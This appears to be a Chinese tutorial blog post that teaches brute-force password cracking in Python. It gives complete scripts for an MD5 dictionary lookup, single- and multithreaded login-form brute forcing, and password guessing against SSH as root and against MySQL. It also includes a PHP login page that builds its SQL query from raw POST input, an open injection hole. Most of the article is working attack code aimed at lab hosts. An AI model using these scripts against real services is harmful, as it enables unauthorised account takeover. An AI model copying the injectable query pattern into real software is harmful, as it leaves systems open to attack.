【Python】简单爆破破解

news2024/12/23 23:17:35

暴力破解是一种针对密码的破译方法,通过逐个推算或使用工具批量验证来找到正确的密码。暴力破解是信息安全领域中一个非常重要的话题。在当今数字化时代,个人信息、企业数据和各种网络服务都依赖于密码来保护安全。因此,破解密码成为黑客获取未经授权访问的重要手段。暴力破解正是其中一种常见且有效的密码破解方法。它的原理很简单,就是通过尝试所有可能的密码组合,直到找到正确的密码。

一、爆破MD5

MD5算法是一种广泛使用的哈希函数,用于生成128位的消息摘要。它接受任意长度的输入,并输出固定长度的哈希值,通常用于验证数据完整性、数字签名、密码存储等领域。MD5算法以其简洁高效的设计和快速计算速度而闻名,但近年来由于其存在一些安全性弱点,逐渐被更安全的哈希算法所取代。MD5是不可逆算法,采用碰撞的方式进行破解。

import hashlib,time,requests
import threading

source =  hashlib.md5('456456'.encode()).hexdigest()

def string_md5(source):
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()

    with open ('./password_append.txt',mode='r') as file:
        password_list_appent = file.readlines()
    #将两个文件的密码叠加
    password_list.extend(password_list_appent)
    # for password in password_list:  
    #     print(password)
#逐个比较
    for password in password_list:  
        if source == hashlib.md5(password.strip().encode()).hexdigest():
            print(f'成功找到,明文为:{password}')
            break
string_md5(source)

二、爆破后台登录页面

Requests 是一个功能强大且易于使用的 HTTP 库,专门用于发送各种 Web 请求和处理响应。它完全满足现代网络爬虫的需求,并且可以用于进行网站模拟请求、数据抓取和自动化测试等任务。使用request进行发包,在request.text的返回内容,从而判断是否登录成功。

构造Mysql数据库创建数据库learn ->创建表user -> user表内容:

构造登录后台代码:login.php

<?php
$username = $_POST['username'];
$password = $_POST['password'];


$conn = mysqli_connect('127.0.0.1','root','root','learn') or die('数据库连接失败');
$sql = "select * from user where name='$username' and password='$password'";
$result = mysqli_query($conn,$sql);
if (mysqli_num_rows($result) == 1){
    echo 'login-sucess';
}else{
    echo 'login-fail';
}


?>

已经用户名ls的情况下,爆破密码 

import hashlib,time,requests
import threading
#已只用户名ls爆破密码
def web_pb():
    url = 'http://127.0.0.1:8082/login.php'
    username = 'ls'
    password = ''
    count = 0
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for password in password_list:
        #print(password.strip())
        data = {'username':username,'password':password.strip()}
        resp = requests.post(url=url,data = data)
        #print(resp.text)
        count +=1
        if ('login-sucess' in resp.text):
            print(f'登录成功,密码为{password}',end='')
            print(f'尝试{count}次,成功找到')
web_pb()

 用户名密码未知情况下,用户名和密码一起爆破,采用多线程的方式,一个用户名一个线程

import hashlib,time,requests
import threading
#多线程爆破,一个用户一个线程
def chose_password(username):
    url = 'http://127.0.0.1:8082/login.php'
    username = username
    password = ''
    count = 0
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for password in password_list:
        #print(password.strip())
        data = {'username':username,'password':password.strip()}
        resp = requests.post(url=url,data = data)
        #print(resp.text)
        count +=1
        if ('login-sucess' in resp.text):
            print(f'登录成功,用户名{username},密码为{password}',end='')
            print(f'用户名:{username}尝试{count}次,成功找到')

def chose_username():
    with open('username.txt',mode='r') as file:
        username_list = file.readlines()
    for username in username_list:
        threading.Thread(target=chose_password,args=(username.strip(),)).start()
        
chose_username()

考虑用户名过多占用过多线程,5个用户名一个线程

import hashlib,time,requests
import threading
#每个线程负责5个用户
def five_user():
    with open ('./username.txt',mode='r') as file:
        user_list = file.readlines()
    for i in range(0,len(user_list),5):
        sub_user_list = user_list[i:i+5]
        threading.Thread(target=five_pb,args=(sub_user_list,)).start()

def five_pb(sub_user_list):
    url = 'http://127.0.0.1:8082/login.php'
    count = 0
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for username in sub_user_list:
        for password in password_list:
            #print(password.strip())
            data = {'username':username,'password':password.strip()}
            resp = requests.post(url=url,data = data)
            #print(resp.text)
            count +=1
            if ('login-sucess' in resp.text):
                print(f'登录成功,用户名{username},密码为{password}',end='')
                print(f'用户名:{username}尝试{count}次,成功找到')

five_user()

三、爆破SSH

Paramiko是一个用于SSHv2协议的Python实现,它提供了客户端和服务器的功能。通过Paramiko,你可以远程连接到SSH服务器并执行命令、上传和下载文件等操作。使用paramiko.connect连接,判断是否可以连接。

import paramiko
def ssh_pb(ip):
    with open('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for passowrd in password_list:
        print(passowrd.strip())
        try:
            transport = paramiko.Transport((ip),22)
            transport.connect(username='root',password=passowrd.strip())
            
            print(f"登录的密码为{passowrd}")
        except:
           pass
ssh_pb('192.168.3.26')

四、爆破Mysql 

PyMySQL是一个流行的Python模块,专门用于连接和操作MySQL数据库。它提供了一个简单而强大的接口,使得开发者能够轻松地在Python程序中执行各种数据库操作,如查询、插入、更新和删除数据等。可以使用pymysql的connection方法来建立连接,测试是否能成功连接数据库。

import pymysql
def mysql_pb():
    with open('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for password in password_list:
        try:
            conn = pymysql.connect(host='127.0.0.1',user='root',passwd=password)
            print(f"密码:{password}")
        except:
            pass
mysql_pb()

每篇一言:永远别放弃一个你每天都在想念的人

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1990889.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

熵权法模型(评价类问题)

一. 概念 利用信息熵计算各个指标的权重&#xff0c;从而为多指标的评价类问题提供依据。 指标的变异程度越小&#xff0c;所反映的信息量也越少&#xff0c;所以其对应的权值也应该越低。 指标的变异程度&#xff08;或称为变异性、波动性&#xff09;&#xff1a;描述了一…

AI智能名片S2B2C商城小程序在社群团购平台产品供应链优化中的应用探索

摘要&#xff1a;在社群团购这一新兴零售模式迅速崛起的背景下&#xff0c;产品供应链的效率和稳定性成为制约其进一步发展的关键因素。特别是在社群团购行业尚处于初步发展阶段的今天&#xff0c;产品资源的稀缺性尤为突出。针对这一问题&#xff0c;本文深入探讨了AI智能名片…

计算机网络408考研 2021

2021 计算机网络408考研2021年真题解析_哔哩哔哩_bilibili 1 1 11 1 1 11

飞睿智能8km无人机WiFi图传模块,高清、稳定、超远距!实时传输新高度

在数字化飞速发展的今天&#xff0c;无人机已经从一个遥不可及的科幻概念&#xff0c;变成了我们日常生活中的得力助手。无论是航拍美景、农业植保&#xff0c;还是紧急救援、物流配送&#xff0c;无人机都展现出了其独特的优势。而在这背后&#xff0c;一个至关重要的技术支撑…

VUE学习-day20

VUE学习-day20 1. 下载与安装 1.1 安装Node.js Node.js是一个免费、开源、跨平台的 JavaScript 运行时环境&#xff0c;它让开发人员能够创建服务器、Web 应用、命令行工具和脚本。 我们可以通过node.js来下载vue的组件和创建vue项目 下载安装教程:https://blog.csdn.net/…

检索增强生成 (RAG)在实践中的挑战

检索增强生成 (RAG) 应用程序已成为大型语言模型 (LLM) 领域的强大工具&#xff0c;但在从原型过渡到生产环境时&#xff0c;经常面临挑战。 RAG 模型在需要深度知识整合和情境理解的应用中尤其有效&#xff0c;例如法律研究、科学文献综述和复杂的客户服务查询。检索和生成过…

mysql 中的共享锁与排他锁

mysql 中的共享锁与排他锁 1、共享锁&#xff08;Shared Lock&#xff09;2、排他锁&#xff08;Exclusive Lock&#xff09; &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在MySQL的InnoDB存储引擎中&#xff0c;锁是管理并发访问数据的关…

Leetcode—328. 奇偶链表【中等】

2024每日刷题&#xff08;153&#xff09; Leetcode—328. 奇偶链表 实现代码 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullptr) {}* ListNode(int x) : val(x), next(nullptr)…

入门岛3-Git 的使用与项目构建

任务概览 任务1: 破冰活动&#xff1a;自我介绍 任务2: 实践项目&#xff1a;构建个人项目 参考&#xff1a;git流程&#xff1a; csdn1 csdn2 任务1: 破冰活动&#xff1a;自我介绍 1.Git 是一种开源的分布式版本控制系统&#xff0c;广泛应用于软件开发领域&#xff0c;尤…

DPDI Online在线kettle调度工具

1. DPDI简介 DPDI Online 是一款基于Kettle的强大在线任务调度平台&#xff0c;凭借其高效与灵活性&#xff0c;专为调度和监控Kettle客户端生成的ETL任务而设计 2. DPDI使用 2.1 DPDI登录 2.2 DPDI核心功能 2.2.1 工作台 DPDI online首页主要是显示任务监控信息&#xff…

k8s 四种Service类型(ClusterIP、NodePort、LoadBalancer、ExternalName)详解

&#x1f407;明明跟你说过&#xff1a;个人主页 &#x1f3c5;个人专栏&#xff1a;《Kubernetes航线图&#xff1a;从船长到K8s掌舵者》 &#x1f3c5; &#x1f516;行路有良友&#xff0c;便是天堂&#x1f516; 目录 一、引言 1、k8s概述 2、Service在Kubernetes中的…

细说盘点10种自动化拣货技术

导语 大家好&#xff0c;我是社长&#xff0c;老K。专注分享智能制造和智能仓储物流等内容。 在现代物流和仓储管理中&#xff0c;拣货技术的选择对于提高效率和降低成本至关重要。 本文将为您介绍10种流行的拣货技术&#xff0c;并分享它们的参数和应用场景&#xff0c;以帮助…

使用本地大模型从论文PDF中提取结构化信息

1 安装ollama 点击前往网站 https://ollama.com/ &#xff0c;下载ollama软件&#xff0c;支持win、Mac、linux 2 下载LLM ollama软件目前支持多种大模型&#xff0c; 如阿里的&#xff08;qwen、qwen2&#xff09;、meta的(llama3、llama3.1)&#xff0c; 读者根据自己电脑…

《加密与解密》读书笔记1

1、常用断点包括INT3断点、硬件断点、内存断点和消息断点。 1.1 INT断点&#xff1a;一个常用的断点&#xff0c;在OD和x64dbg中按F2快捷键来设置/取消断点。当执行一个INT3断点时&#xff0c;该地址处的内容就被调试器使用INT3指令替换掉了&#xff0c;此时OD和x64dbg将INT3隐…

flink1.18 编译遇到的问题

1. flink-runtime-web编译失败 源码编译时一直卡在 [INFO] Running ‘npm ci --cache-max0 --no-save’ in 处理方法&#xff1a; 修改flink-runtime-web/pom.xml文件 将<arguments>ci --cache-max0 --no-save ${npm.proxy}</arguments> 替换为&#xff1a;<a…

Delphi5实现鱼C记事本程序(TRichEdit版)

效果图 鱼C记事本程序 程序图标 Delphi5的程序图标需要ICO后缀名的文件&#xff0c;已经上传到CSDN&#xff0c;可以用一下。 有什么快捷生成ICO文件的方法&#xff0c;可以在评论区分享一下噢&#xff0c;谢谢&#xff01;&#xff01; MainMenu菜单组件 TRichEdit 组件 在…

多线程(2)——线程的六种状态

1. 线程的所有状态 进程状态&#xff1a; 就绪&#xff1a;正在 cpu 上执行&#xff0c;或者随时可以去 cpu 上执行 阻塞&#xff1a;暂时不能参与 cpu 执行 Java 的线程&#xff0c;对于状态做了更详细的区分&#xff0c;不仅仅是就绪和阻塞了&#xff0c;六种&#xff1a…

2024懒人精灵七天从入门到精通实战课程(付源码)

写在开始&#xff1a;对于想学习自动化技术的同学&#xff0c;给你们一些建议&#xff1b;如果你已经选择开始&#xff0c;还在坚持&#xff0c;我奉劝你坚持下去&#xff0c;水到渠成&#xff1b;如果你还没开始就选择放弃&#xff0c;我建议你就此放弃&#xff0c;老师也不鼓…

合宙Air780EP_LuatOS_MQTT应用指南

简介 Air780EP 是合宙的低功耗4G模组之一&#xff0c;支持LuatOS的脚本二次开发&#xff0c;即使是不太懂技术的老板&#xff0c;也能轻松使用 Air780EP开发产品。 本文应各位大佬邀请&#xff0c;详细讲解了Air780EP 的MQTT的应用教程&#xff01; MQTT协议具有长连接、低带宽…

开源AI智能名片商城系统:重塑大零售生态的创新实践与深度分析

摘要&#xff1a;在数字经济浪潮的推动下&#xff0c;零售行业正经历着前所未有的变革。传统零售模式面临消费者需求多样化、市场竞争加剧等多重挑战&#xff0c;而开源AI智能名片商城系统的出现&#xff0c;为零售行业的转型升级提供了新的思路和技术支持。本文深入探讨了开源…